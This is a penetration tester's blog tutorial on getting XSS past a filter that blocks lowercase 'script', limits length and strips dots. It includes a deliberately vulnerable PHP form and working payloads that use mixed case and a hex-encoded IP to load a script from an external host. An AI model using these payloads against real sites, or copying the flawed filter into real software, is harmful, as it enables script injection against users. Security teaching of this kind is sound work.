XSS Without Dots – Or, How to Fail Onyxia

This week I’d like to show XSS without dots, as a method of filter avoidance.

Introduction

First, for those of you confused by the title, here is some internet education

Not too long ago I had a friend attempting some XSS against an interesting filter.

I’m going to base my vulnerable application off of the one I used for my Short XSS attack.

If you’d like to follow along, I will have the final application towards the bottom of this post.

Filters

First, it filtered out the word script. That said, this was not done in a case-insensitive way, which provided an easy bypass. For example:

$data = str_replace('script', '' , $data);

In this case, a simple “ScRiPt” would bypass it just fine.

Next, there was a length limitation. While this was already covered in the Short XSS post, it is still something to account for while building the exploit. For example:

$data = substr($data, 0, 27);

Last, but certainly not least, was the filter for dots. In this case, the application didn’t allow periods, preventing our old payload of r4y.pw. For example:

$data = str_replace('.', '', $data);

Final Application

In the end, the final vulnerable application looked something like this.

<?php

function xss_clean($data)
{
    $data = str_replace('script', '' , $data);

    $data = substr($data, 0, 27);

    $data = str_replace('.', '', $data);

    // $data = strtoupper($data);

    return $data;
}

?>

<html>

<head>
<title>Vulnerable to Dotless XSS</title>
</head>

<body>

Here is my vulnerable form:
<form>
<input type="text" value="<?php echo xss_clean($_GET['value']); ?>" maxlength="27">
</form>

<script>
console.log("This is my logger function (I'll need this closing script tag later)!");
</script>

</body>

</html>

XSS Without Dots – Exploitation

Based on our Short XSS attack, our initial payload will look something like this.

value="><script src=//r4y.pw>

First, we’ll need to convert the script tag to camel-case.

value="><ScRiPt src=//r4y.pw>

We are already below the length limit, so we don’t need to worry about that filter.

Unfortunately, we still need to bypass the dot filter.

The easiest method would be to use a host name on the internal network. If you can host a script and access it using just a host name, then you can bypass this filter.

value="><ScRiPt src=//kali>

XSS Without Dots - Local Hostname

The source of the application contains the src to our “kali” host with the working payload.

<input type="text" value=""><ScRiPt SRC=//kali>" maxlength="27">

Unfortunately, in this case, he was unable to obtain or control a host name on the internal network. In this case, I had to perform some more trickery.

For those of you not aware, you can represent IP addresses in multiple ways. These include dot-decimal (standard), decimal, octal, and hex. The last three do not require dots at all, which is what this attack will use!

To make converting easier, I am using an IP manipulator tool from a former co-worker.

root@kali:~/moarDots# ping r4y.pw
PING r4y.pw (138.197.195.10) 56(84) bytes of data.
64 bytes from 138.197.195.10 (138.197.195.10): icmp_seq=1 ttl=50 time=90.6 ms
^C
--- r4y.pw ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 90.620/90.620/90.620/0.000 ms
root@kali:~/moarDots# python ip.py 138.197.195.10


        IP Address Manipulator       
-------------------------------------
138.197.195.10 ----> 138.197.195.10

138.197.195.10 ----> 138.197.49930

138.197.195.10 ----> 138.12960522

138.197.195.10 ----> 2328216330

138.197.195.10 ----> 0x8a.0xc5.0xc3.0xa

138.197.195.10 ----> 0x8a.0xc5.0xc30a

138.197.195.10 ----> 0x8a.0xc5c30a

138.197.195.10 ----> 0x8ac5c30a

138.197.195.10 ----> 0212.0305.0303.012

138.197.195.10 ----> 0212.0305.0141412

138.197.195.10 ----> 0212.061341412

138.197.195.10 ----> 021261341412

Now, we have an IP address for r4y.pw without dots, so let’s give it a try.

"><ScRiPt SRC=//0x8ac5c30a>" maxlength="27">

It worked, and the browser executed the payload!

XSS Without Dots - Hex IP

<input type="text" value=""><ScRiPt SRC=//0x8ac5c30a>" maxlength="27">

XSS Without Dots – Conclusion

While this was a bit of a contrived scenario, it was still something found in the real world.

XSS filters are not always perfect, and some interesting techniques can occasionally bypass them.

In this case, we ended up with an XSS payload of only 27 characters that bypassed a “script” filter as well as a dot filter. Additionally, it was hosted externally and could have a fully weaponized payload.

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCP, eCPPT, eWPT, eWPTX, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Penetration Testing Consultant for SecureWorks. His previous position was a Senior Penetration Tester for a major financial institution.

When he's not figuring out what cert to get next (OSCE?!) or side project to work on, he enjoys playing video games, traveling, and watching sports.

1 Comment

Filed under Security Not Included

One Response to XSS Without Dots – Or, How to Fail Onyxia

  1. Josh Holmes

    Awesome! Thanks for the post!

Leave a Reply

Your email address will not be published. Required fields are marked *

*